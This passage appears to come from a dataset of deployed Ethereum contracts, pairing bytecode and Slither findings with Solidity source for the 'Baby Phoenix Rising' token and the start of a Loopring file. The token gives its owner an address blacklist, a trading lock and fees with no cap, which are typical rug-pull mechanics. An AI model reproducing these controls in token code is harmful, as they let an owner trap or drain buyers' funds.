2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161138291815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea000006113b1828261125c565b8210156113ce57505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836113f85760405162461bcd60e51b815260040161040f91906118c4565b506000610fc284866119d4565b60008060008060008060008060006114228a600954600a54611571565b9250925092506000611432611239565b905060008060006114458e8787876115c6565b919e509c509a509598509396509194505050505091939550919395565b600061108283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f91565b6000806114b183856119bc565b9050838110156110825760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161040f565b600061150d611239565b9050600061151b8383611616565b3060009081526002602052604090205490915061153890826114a4565b30600090815260026020526040902055505050565b60075461155a9083611462565b60075560085461156a90826114a4565b6008555050565b600080808061158b60646115858989611616565b9061125c565b9050600061159e60646115858a89611616565b905060006115b6826115b08b86611462565b90611462565b9992985090965090945050505050565b60008080806115d58886611616565b905060006115e38887611616565b905060006115f18888611616565b90506000611603826115b08686611462565b939b939a50919850919650505050505050565b60008261162557506000610447565b600061163183856119f4565b90508261163e85836119d4565b146110825760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161040f565b80356116a081611a71565b919050565b6000602082840312156116b6578081fd5b813561108281611a71565b6000602082840312156116d2578081fd5b815161108281611a71565b600080604083850312156116ef578081fd5b82356116fa81611a71565b9150602083013561170a81611a71565b809150509250929050565b600080600060608486031215611729578081fd5b833561173481611a71565b9250602084013561174481611a71565b929592945050506040919091013590565b60008060408385031215611767578182fd5b823561177281611a71565b946020939093013593505050565b60006020808385031215611792578182fd5b823567ffffffffffffffff808211156117a9578384fd5b818501915085601f8301126117bc578384fd5b8135818111156117ce576117ce611a5b565b8060051b604051601f19603f830116810181811085821117156117f3576117f3611a5b565b604052828152858101935084860182860187018a1015611811578788fd5b8795505b8386101561183a5761182681611695565b855260019590950194938601938601611815565b5098975050505050505050565b600060208284031215611858578081fd5b813561108281611a86565b600060208284031215611874578081fd5b815161108281611a86565b600060208284031215611890578081fd5b5035919050565b6000806000606084860312156118ab578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156118f0578581018301518582016040015282016118d4565b818111156119015783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561199b5784516001600160a01b031683529383019391830191600101611976565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119cf576119cf611a45565b500190565b6000826119ef57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a0e57611a0e611a45565b500290565b600082821015611a2557611a25611a45565b500390565b6000600019821415611a3e57611a3e611a45565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461048d57600080fd5b801515811461048d57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122030577f2344ef94cf3384c35335e2d15df53b0e9e23c37fb398c6aea6aa9331cf64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,504 |
0xd0790473e5b9e6f86e8cde0f4336c56dbb624496
|
/*
Did you miss PhoenixRising?
t.me/babyphoenixrising
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BabyPhoenixRising is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Baby Phoenix Rising";
string private constant _symbol = "BABYPHNIX";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 6;
//Sell Fee
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 9;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => bool) public preTrader;
mapping(address => uint256) private cooldown;
address payable private _opAddress = payable(0x56baA03e9b88A8143f24c430753417A9bA7e3DC6);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 2000000000000 * 10**9; //2
uint256 public _maxWalletSize = 4000000000000 * 10**9; //4
uint256 public _swapTokensAtAmount = 10000000000 * 10**9; //0.1
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
// Uniswap V2 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_opAddress] = true;
preTrader[owner()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_opAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _opAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _opAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function allowPreTrading(address account, bool allowed) public onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
}
|
0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063bfd7928411610064578063bfd7928414610538578063c3c8cd8014610568578063dd62ed3e1461057d578063ea1644d5146105c357600080fd5b806398a5c315146104a8578063a2a957bb146104c8578063a9059cbb146104e8578063bdd795ef1461050857600080fd5b80638da5cb5b116100d15780638da5cb5b146104225780638f70ccf7146104405780638f9a55c01461046057806395d89b411461047657600080fd5b8063715018a6146103d757806374010ece146103ec5780637d1db4a51461040c57600080fd5b80632fd689e3116101645780636b9990531161013e5780636b999053146103625780636d8aa8f8146103825780636fc3eaec146103a257806370a08231146103b757600080fd5b80632fd689e314610310578063313ce5671461032657806349bd5a5e1461034257600080fd5b80631694505e116101a05780631694505e1461027157806318160ddd146102a957806323b872dd146102d05780632f9c4569146102f057600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461024157600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec36600461192d565b6105e3565b005b3480156101ff57600080fd5b50604080518082019091526013815272426162792050686f656e697820526973696e6760681b60208201525b6040516102389190611a57565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611902565b610690565b6040519015158152602001610238565b34801561027d57600080fd5b50601454610291906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102b557600080fd5b5069152d02c7e14af68000005b604051908152602001610238565b3480156102dc57600080fd5b506102616102eb36600461188e565b6106a7565b3480156102fc57600080fd5b506101f161030b3660046118ce565b610710565b34801561031c57600080fd5b506102c260185481565b34801561033257600080fd5b5060405160098152602001610238565b34801561034e57600080fd5b50601554610291906001600160a01b031681565b34801561036e57600080fd5b506101f161037d36600461181e565b6107d4565b34801561038e57600080fd5b506101f161039d3660046119f4565b61081f565b3480156103ae57600080fd5b506101f1610867565b3480156103c357600080fd5b506102c26103d236600461181e565b610894565b3480156103e357600080fd5b506101f16108b6565b3480156103f857600080fd5b506101f1610407366004611a0e565b61092a565b34801561041857600080fd5b506102c260165481565b34801561042e57600080fd5b506000546001600160a01b0316610291565b34801561044c57600080fd5b506101f161045b3660046119f4565b610959565b34801561046c57600080fd5b506102c260175481565b34801561048257600080fd5b506040805180820190915260098152680848284b2a0909c92b60bb1b602082015261022b565b3480156104b457600080fd5b506101f16104c3366004611a0e565b6109a1565b3480156104d457600080fd5b506101f16104e3366004611a26565b6109d0565b3480156104f457600080fd5b50610261610503366004611902565b610a0e565b34801561051457600080fd5b5061026161052336600461181e565b60116020526000908152604090205460ff1681565b34801561054457600080fd5b5061026161055336600461181e565b60106020526000908152604090205460ff1681565b34801561057457600080fd5b506101f1610a1b565b34801561058957600080fd5b506102c2610598366004611856565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cf57600080fd5b506101f16105de366004611a0e565b610a51565b6000546001600160a01b031633146106165760405162461bcd60e51b815260040161060d90611aaa565b60405180910390fd5b60005b815181101561068c5760016010600084848151811061064857634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068481611bbd565b915050610619565b5050565b600061069d338484610a80565b5060015b92915050565b60006106b4848484610ba4565b610706843361070185604051806060016040528060288152602001611c1a602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906110a7565b610a80565b5060019392505050565b6000546001600160a01b0316331461073a5760405162461bcd60e51b815260040161060d90611aaa565b6001600160a01b03821660009081526011602052604090205460ff16151581151514156107a95760405162461bcd60e51b815260206004820152601760248201527f544f4b454e3a20416c726561647920656e61626c65642e000000000000000000604482015260640161060d565b6001600160a01b03919091166000908152601160205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107fe5760405162461bcd60e51b815260040161060d90611aaa565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146108495760405162461bcd60e51b815260040161060d90611aaa565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b03161461088757600080fd5b47610891816110e1565b50565b6001600160a01b0381166000908152600260205260408120546106a19061111b565b6000546001600160a01b031633146108e05760405162461bcd60e51b815260040161060d90611aaa565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109545760405162461bcd60e51b815260040161060d90611aaa565b601655565b6000546001600160a01b031633146109835760405162461bcd60e51b815260040161060d90611aaa565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109cb5760405162461bcd60e51b815260040161060d90611aaa565b601855565b6000546001600160a01b031633146109fa5760405162461bcd60e51b815260040161060d90611aaa565b600893909355600a91909155600955600b55565b600061069d338484610ba4565b6013546001600160a01b0316336001600160a01b031614610a3b57600080fd5b6000610a4630610894565b90506108918161119f565b6000546001600160a01b03163314610a7b5760405162461bcd60e51b815260040161060d90611aaa565b601755565b6001600160a01b038316610ae25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161060d565b6001600160a01b038216610b435760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161060d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c085760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161060d565b6001600160a01b038216610c6a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161060d565b60008111610ccc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161060d565b6000546001600160a01b03848116911614801590610cf857506000546001600160a01b03838116911614155b15610f9a57601554600160a01b900460ff16610d9c576001600160a01b03831660009081526011602052604090205460ff16610d9c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161060d565b601654811115610dee5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161060d565b6001600160a01b03831660009081526010602052604090205460ff16158015610e3057506001600160a01b03821660009081526010602052604090205460ff16155b610e885760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161060d565b6015546001600160a01b03838116911614610f0d5760175481610eaa84610894565b610eb49190611b4f565b10610f0d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161060d565b6000610f1830610894565b601854601654919250821015908210610f315760165491505b808015610f485750601554600160a81b900460ff16155b8015610f6257506015546001600160a01b03868116911614155b8015610f775750601554600160b01b900460ff165b15610f9757610f858261119f565b478015610f9557610f95476110e1565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610fdc57506001600160a01b03831660009081526005602052604090205460ff165b8061100e57506015546001600160a01b0385811691161480159061100e57506015546001600160a01b03848116911614155b1561101b57506000611095565b6015546001600160a01b03858116911614801561104657506014546001600160a01b03848116911614155b1561105857600854600c55600954600d555b6015546001600160a01b03848116911614801561108357506014546001600160a01b03858116911614155b1561109557600a54600c55600b54600d555b6110a184848484611344565b50505050565b600081848411156110cb5760405162461bcd60e51b815260040161060d9190611a57565b5060006110d88486611ba6565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561068c573d6000803e3d6000fd5b60006006548211156111825760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161060d565b600061118c611372565b90506111988382611395565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111f557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561124957600080fd5b505afa15801561125d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611281919061183a565b816001815181106112a257634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546112c89130911684610a80565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611301908590600090869030904290600401611adf565b600060405180830381600087803b15801561131b57600080fd5b505af115801561132f573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611351576113516113d7565b61135c848484611405565b806110a1576110a1600e54600c55600f54600d55565b600080600061137f6114fc565b909250905061138e8282611395565b9250505090565b600061119883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611540565b600c541580156113e75750600d54155b156113ee57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806114178761156e565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061144990876115cb565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611478908661160d565b6001600160a01b03891660009081526002602052604090205561149a8161166c565b6114a484836116b6565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114e991815260200190565b60405180910390a3505050505050505050565b600654600090819069152d02c7e14af68000006115198282611395565b8210156115375750506006549269152d02c7e14af680000092509050565b90939092509050565b600081836115615760405162461bcd60e51b815260040161060d9190611a57565b5060006110d88486611b67565b600080600080600080600080600061158b8a600c54600d546116da565b925092509250600061159b611372565b905060008060006115ae8e87878761172f565b919e509c509a509598509396509194505050505091939550919395565b600061119883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110a7565b60008061161a8385611b4f565b9050838110156111985760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161060d565b6000611676611372565b90506000611684838361177f565b306000908152600260205260409020549091506116a1908261160d565b30600090815260026020526040902055505050565b6006546116c390836115cb565b6006556007546116d3908261160d565b6007555050565b60008080806116f460646116ee898961177f565b90611395565b9050600061170760646116ee8a8961177f565b9050600061171f826117198b866115cb565b906115cb565b9992985090965090945050505050565b600080808061173e888661177f565b9050600061174c888761177f565b9050600061175a888861177f565b9050600061176c8261171986866115cb565b939b939a50919850919650505050505050565b60008261178e575060006106a1565b600061179a8385611b87565b9050826117a78583611b67565b146111985760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161060d565b803561180981611c04565b919050565b8035801515811461180957600080fd5b60006020828403121561182f578081fd5b813561119881611c04565b60006020828403121561184b578081fd5b815161119881611c04565b60008060408385031215611868578081fd5b823561187381611c04565b9150602083013561188381611c04565b809150509250929050565b6000806000606084860312156118a2578081fd5b83356118ad81611c04565b925060208401356118bd81611c04565b929592945050506040919091013590565b600080604083850312156118e0578182fd5b82356118eb81611c04565b91506118f96020840161180e565b90509250929050565b60008060408385031215611914578182fd5b823561191f81611c04565b946020939093013593505050565b6000602080838503121561193f578182fd5b823567ffffffffffffffff80821115611956578384fd5b818501915085601f830112611969578384fd5b81358181111561197b5761197b611bee565b8060051b604051601f19603f830116810181811085821117156119a0576119a0611bee565b604052828152858101935084860182860187018a10156119be578788fd5b8795505b838610156119e7576119d3816117fe565b8552600195909501949386019386016119c2565b5098975050505050505050565b600060208284031215611a05578081fd5b6111988261180e565b600060208284031215611a1f578081fd5b5035919050565b60008060008060808587031215611a3b578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611a8357858101830151858201604001528201611a67565b81811115611a945783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611b2e5784516001600160a01b031683529383019391830191600101611b09565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b6257611b62611bd8565b500190565b600082611b8257634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ba157611ba1611bd8565b500290565b600082821015611bb857611bb8611bd8565b500390565b6000600019821415611bd157611bd1611bd8565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461089157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200f905a57b684d6aa1bbe0024d4e5a962f344b694202d2d00ee8c7d1b3c5a3d5c64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 3,505 |
0xa7c03d39082b54e8aac266fcf9a9b56d0892edff
|
// SPDX-License-Identifier: Apache-2.0
// Copyright 2017 Loopring Technology Limited.
pragma solidity ^0.7.0;
/// @title Ownable
/// @author Brecht Devos - <brecht@loopring.org>
/// @dev The Ownable contract has an owner address, and provides basic
/// authorization control functions, this simplifies the implementation of
/// "user permissions".
contract Ownable
{
address public owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/// @dev The Ownable constructor sets the original `owner` of the contract
/// to the sender.
constructor()
{
owner = msg.sender;
}
/// @dev Throws if called by any account other than the owner.
modifier onlyOwner()
{
require(msg.sender == owner, "UNAUTHORIZED");
_;
}
/// @dev Allows the current owner to transfer control of the contract to a
/// new owner.
/// @param newOwner The address to transfer ownership to.
function transferOwnership(
address newOwner
)
public
virtual
onlyOwner
{
require(newOwner != address(0), "ZERO_ADDRESS");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership()
public
onlyOwner
{
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
}
// Copyright 2017 Loopring Technology Limited.
/// @title WalletRegistry
/// @dev A registry for wallets.
/// @author Daniel Wang - <daniel@loopring.org>
